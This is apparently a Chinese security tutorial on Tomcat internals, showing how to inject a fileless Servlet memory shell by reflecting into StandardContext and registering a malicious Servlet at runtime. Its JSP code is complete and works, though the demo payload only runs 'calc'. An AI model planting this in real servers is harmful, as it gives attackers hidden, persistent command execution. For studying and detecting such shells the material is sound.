前置知识

Tomcat由四大容器组成,分别是Engine、Host、Context、Wrapper。这四个组件是负责关系,存在包含关系。

例如https://manage.xxx.com:8080/user/list的请求过程:

JSP代码实现过程

JSP全程Java Server Pages,Jsp经过转换编译以后会变成Servlet,而Servlet的本质就是一个Java类。

创建Servlet

使用IntelliJ IDEA 2024.3.5进行创建一个简单的Servlet,IDEA的版本要使用专业版的不然不能创建JavaEE。

Tomcat版本:10.1.40

JDK版本:Java11

新建项目,选择JavaEE进行新建项目。

下一步后会进入如下窗口,Version选择与自己Java版本相同的版本,然后选择Servlet其他全部默认。

然后点击创建会新建一个含有Servlet的项目。

该Servlet通过注解实现对路径的映射关系,Servlet的名字是helloServlet,对应的路径是/hello-servlet

点击运行Tomcat来运行该项目。

启动项目后,访问Servlet对应的路径。

前面的/Memshell1_war_exploded路径是新建该项目时默认的路径,启动项目默认打开该的路径。

也可以自己创建一个java类文件,然后加载到servlet中,这里创建一个MyServlet.java文件

package com.example.memshell1;

import jakarta.servlet.ServletException;
import jakarta.servlet.http.HttpServlet;
import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;

import java.io.IOException;

public class MyServlet extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
        resp.getWriter().println("My Servlet");
    }
}

然后添加将该类的映射关系添加到web.xml文件中,web.xml文件中需要添加servlet和servlet-mapping,其中servlet-name为servlet的名字可以随意命令,servlet-class为对应类的全类名。servlet-mapping中servlet-name为servlet的名字与servlet中的servlet-name保持一直,url-pattern为servlet的路径映射,当访问这个路径是就会执行对应的servlet。

    <servlet>
        <servlet-name>MyServlet</servlet-name>
        <servlet-class>com.example.memshell1.MyServlet</servlet-class>
    </servlet>
    <servlet-mapping>
        <servlet-name>MyServlet</servlet-name>
        <url-pattern>/my</url-pattern>
    </servlet-mapping>

image-jlvg.png

保存修改后的文件,重新启动服务,访问设置好的/my路径就会调用我们写好的servlet,这里成功执行了新建的Servlet的内容。

JSP文件注入内存马

要注入Servlet内存马,就需要动态的将servlet加载到Tomcat服务上。

ContextConfig#configureContext(Webxml webxml)是在ContextConfig这个类的configureContext(Webxml webxml)函数中进行加载servlet的。

而ContextConfig这个类来自于tomcat-catalina中,版本要选择跟运行版本一直的tomcat版本

默认是没有tomcat-catalina这个依赖的,需要在pom.xml中自行进行引入

<dependency>
    <groupId>org.apache.tomcat</groupId>
    <artifactId>tomcat-catalina</artifactId>
    <version>10.1.40</version>
</dependency>

上述加载依赖有误,以下是正确的依赖加载(加载操作是一致的)

重新加载完依赖后,然后我们全局搜索ContextConfig这个类文件。

然后在这个类中找到configureContext(WebXml webxml)函数

在这个函数的地方设置断点然后运行程序进行dubeg,查看这个函数传入的对象所带的值。

这个传入的webxml对象存在servlets和servletMappings,其中servlets中是程序的servlet,而servletMappings中是servlet和路径的映射关系。

configureContext(WebXml webxml)函数其实就相当于加载web.xml中的配置文件,然后将配置文件中的内容加载至context中。

可以把鼠标放在context上可以查看到对象类型是StandardContext类型。

在这个函数中真正把servlet添加到context中的是for (ServletDef servlet : webxml.getServlets().values())这个for循环它将servlet有关的参数封装到wrapper对象中又通过context的addChild()方法添加到context中,然后又通过for (Entry<String,String> entry : webxml.getServletMappings().entrySet())这个for循环将servlet的映射关系提添加到context中,这个context对象又是StandardContext类型的。

所以如果要想在程序运行的时候添加Serlvet,就需要获取到StandardContext类型的对象并调用addChild(wrapper)方法和addServletMappingDecoded(entry.getKey(), entry.getValue())方法来进行添加servlet。

通过反射获取StandardContext

可以通过断点来通过req对象来查找于StandardContext相关的对象

如上图,我们可以通过req.getServletContext()来获取ServletContext的对象实例ApplicationContextFacade,然后通过反射获取该对象的context字段的值也就是ApplicationContext对象实例,然后再通过ApplicationContext对象实例通过反射获取其context字段对应的值为StandardContext的对象实例。然后通过StandardContext对象实例来添加Servlet。

注入Servlet内存马

  1. 创建恶意类

  2. 通过反射获取StandardContext

  3. 通过StandardContext的createWrapper()方法创建wrapper对象

  4. 通过wrapper对象的setName()、setServletClass()、setServlet()方法将servlet封装到wrapper中

  5. 通过StandardContext的addChild()和addServletMappingDecodedd()方法来添加Servlet和映射关系

1、创建恶意类

在JSP文件中创建声明恶意类

<%!
  //定义恶意的Servlet
  public class MemServlet extends HttpServlet{
    @Override
    protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
      Runtime.getRuntime().exec("calc");
    }
  }
%>

2、通过反射获取StandardContext

//通过反射获取StandardContext
  ServletContext servletContext = request.getServletContext();
  //通过servletContext拿到applicationContext
  Field applicationContextField = servletContext.getClass().getDeclaredField("context");
  //设置可访问权限
  applicationContextField.setAccessible(true);
  ApplicationContext applicationContext = (ApplicationContext)applicationContextField.get(servletContext);
  //通过applicationContext拿到StandardContext
  Field standardContextField = applicationContext.getClass().getDeclaredField("context");
  standardContextField.setAccessible(true);
  StandardContext standardContext = (StandardContext)standardContextField.get(applicationContext);

第二种获取StandardContext方法,参考

Field reqF = request.getClass().getDeclaredField("request");
reqF.setAccessible(true);
Request req = (Request) reqF.get(request);
StandardContext standardContext = (StandardContext) req.getContext();

3、通过StandardContext的createWrapper()方法创建wrapper对象

Wrapper wrapper = standardContext.createWrapper();

4、通过wrapper对象的setName()、setServletClass()、setServlet()方法将servlet封装到wrapper中

wrapper.setName("memshell");
wrapper.setServletClass(MemServlet.class.getName());
wrapper.setServlet(new MemServlet());

这里设置servlet的名字为memshell,并设置class和实例化对象。

5、通过StandardContext的addChild()和addServletMappingDecodedd()方法来添加Servlet和映射关系

standardContext.addChild(wrapper);
standardContext.addServletMappingDecoded("/mem","memshell");

这里将封装好的wrapper添加到Standardcontext中,并添加映射关系,当访问/mem是就会执行我们注入的恶意servlet,前提是先访问这个shell.jsp文件

先访问shell.jsp

然后访问注入的/mem路径来触发servlet内存马。

至此Servlet内存马已经注入

总结

通过反射获取StandardContext对象实例,并通过StandardContext的createWrapper()方法创建Wrapper对象,将恶意的servlet封装到Wrapper中,然后通过StandardContext的addChild()方法添加至对象中,并通过addServletMappingDecoded()方法来添加映射关系,添加进StandardContext实例对象中后续就会被Tomcat服务器加载并生成对应Servlet容器。这个过程实现了在运行时动态地向Tomcat中添加Servlet。

参考链接

Tomcat-Servlet型内存马

3小时学完Java内存马 - 零溢出

https://github.com/W01fh4cker/LearnJavaMemshellFromZero